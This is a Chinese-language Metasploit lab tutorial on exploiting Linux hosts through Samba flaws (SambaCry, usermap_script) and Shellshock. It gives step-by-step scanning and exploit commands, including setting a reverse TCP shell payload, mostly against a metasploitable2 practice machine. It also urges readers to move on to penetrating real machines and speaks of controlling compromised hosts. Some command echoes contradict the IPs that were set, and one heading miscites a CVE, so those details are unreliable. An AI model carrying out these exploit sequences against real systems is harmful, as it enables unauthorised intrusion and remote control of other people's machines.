msf实验之linux漏洞
smb其它漏洞Linux smb漏洞(CVE-2017-7494)复现(使用老版本)
查看samba版本并打开samba配置文件添加以下配置
查看samba版本:
vi /etc/samba/smb.conf
在末行加入以下配置:
[public]
comment = public
browseable = yes
writeable = yes
path = /tmp/public
public = yes
read only = no
在Kali Linux 2017中创建Samba共享目录
创建共享目录:
root@kali:~# mkdir /tmp/public
修改读写执行权限:
root@kali:~# chmod 777 /tmp/public
这是SambaCry漏洞利用的前提,必须有一个共享目录,这样攻击者就可以在这个共享目录传递攻击代码并执行,获取到Root权限并控制肉鸡。
重启/启动Samba服务
重启samba服务:
root@kali:~# /etc/init.d/samba restart
查看samba进程:
root@kali:~# ps aux | grep samba
查看samba端口状态(采用139和445端口):
root@kali:~# netstat -tnlp | grep samba
更新MSF后使用"exploit/linux/samba/isknownpipename"利用模块,设置rhost后直接exploit即可得到shell。
利用samba服务漏洞入侵linux主机(CVE-2020-0796与samba低版本漏洞利用)
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等。本文将简单介绍metasploit利用samba漏洞入侵进入远程linux主机。
1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下:
nmap -sS -Pn -A 192.168.0.142
2、发现主机上开放的139、445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter会话,需要用到metasploit。
3、打开metasploit之后需要先判断samba的版本,命令如下:
msf > search scanner/samba
这条命令用来查找samba相关exploit参数。
4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数:
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.60.31
这条命令定义你将要扫描samba版本的远程主机的IP地址。
exploit
该命令将开始漏洞利用。
5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机:
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.60.31
msf exploit(usermap_script) > exploit
执行完成以上命令如图所示,成功创建了shell会话。
Bash Shellshock CVE-2014-6271(破壳)
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
本次实战环境metasploitable2是一个非常不错的靶机,内置了多种漏洞来练习你的黑客技术。我将在独立网络环境中使用kali来攻击它,建议你也跟我一样,确保在第一次尝试攻击时结果跟我一样,等你技术娴熟之后便可以去渗透真实的机器了。
要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。一个简单的输出“hello world”脚本即可,因为仅仅是作为演示。进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令:
sudo nano hello.sh
输入正确的密码,然后对hello.sh脚本进行编辑:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello World!"
我们来验证一下,通过浏览器访问该脚本,可以看到已经成功执行。
第二步:准备攻击
在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。
我们可以使用search命令来搜索exploits。输入shellshock,就能找到apachemodcgibashenv_exec模块,复制模块路径。
现在可以看到一个更长的命令提示符,显示模块已加载。
输入options来查看模块的各种设置:
msfexploit(multi/http/apache_mod_cgi_bash_env_exec)> options
大部分配置保持默认即可,我们只需要设置远程IP地址rhost和文件路径targeturi,如下所示:
msfexploit(multi/http/apache_mod_cgi_bash_env_exec)> set rhosts 192.168.0.102
rhosts => 172.16.1.102
msfexploit(multi/http/apache_mod_cgi_bash_env_exec)> set LHOST 192.168.0.100
LHOST => 172.16.1.100
msfexploit(multi/http/apache_mod_cgi_bash_env_exec)> set targeturi /cgi-bin/hello.sh
targeturi => /cgi-bin/hello.sh
msfexploit(multi/http/apache_mod_cgi_bash_env_exec)>
然后我们需要选择一个payload。输入show options来查看不同的payloads和对应的payload信息。
这里我们选择一个反向TCP shell就可以了,所以我们输入:
set payload linux/x86/shell/reverse_tcp
再次输入options,我们可以看到模块的当前设置包括payload信息。
第三步:getshell
一些metasploit模块有一个非常便利的小功能,就是检测靶机是否存在漏洞,输入check即可,这会将靶机是否存在漏洞的信息显示出来。
我们可以看到,靶机确实是存在漏洞的,现在我们输入exploit来发起攻击。很快我们就获得了一个shell会话,我们可以在会话中输入命令,比如id或者whoami来查看当前用户的信息了。